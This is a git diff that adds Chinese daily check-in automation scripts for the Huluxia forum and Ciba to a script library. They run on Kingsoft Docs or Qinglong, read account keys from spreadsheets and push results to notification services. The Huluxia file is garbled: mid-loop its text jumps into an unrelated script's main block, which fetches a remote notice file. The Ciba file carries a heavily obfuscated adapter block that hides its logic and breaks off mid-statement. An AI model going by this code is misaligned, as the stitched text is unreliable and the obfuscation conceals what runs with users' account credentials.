a/脚本库/web版/账密/葫芦侠3楼/2025-08-25_huluxia_6233f109.js b/脚本库/web版/账密/葫芦侠3楼/2025-08-25_huluxia_6233f109.js new file mode 100644 index 0000000..12efe87 --- /dev/null +++ b/脚本库/web版/账密/葫芦侠3楼/2025-08-25_huluxia_6233f109.js @@ -0,0 +1,585 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/huluxia.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/huluxia.js +// # Repo: imoki/sign_script +// # Path: polymerization/huluxia.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 6233f109c9d3883bbb174dbdb20376c2462cb2aa72e8fba21e67863ce31bc48e +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "葫芦侠3楼" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0) + 更新时间:20241226 + 环境变量名:无 + 环境变量值:无 + 备注:需要_key。用抓包工具抓取所需的值 + 如何快速抓取到_key: + 1.开启抓包 + 2.葫芦侠APP退出,然后重新登录 + 3.此时任意找到一个url中含有“user/info”的请求 + 4.然后点击“查看表单”,复制其中的_key值 +*/ + +var sheetNameSubConfig = "huluxia"; // 分配置表名称 +var pushHeader = "【葫芦侠】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +qlSwitch = 0 + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} diff --git a/脚本库/web版/账密/词霸每日一句/2025-08-25_ciba_43494f7f.js b/脚本库/web版/账密/词霸每日一句/2025-08-25_ciba_43494f7f.js new file mode 100644 index 0000000..19e958d --- /dev/null +++ b/脚本库/web版/账密/词霸每日一句/2025-08-25_ciba_43494f7f.js @@ -0,0 +1,619 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/ciba.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ciba.js +// # Repo: imoki/sign_script +// # Path: polymerization/ciba.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 43494f7f502aa601908d883fc22f87c8a6f75f3b14c592cb72534a38a7fbac94 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "词霸每日一句" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0), 青龙 + 更新时间:20241126 + 环境变量名:ciba + 环境变量值:无 + 备注:无 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "ciba"; // 分配置表名称, (修改这里) +var pushHeader = "【词霸每日一句】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let 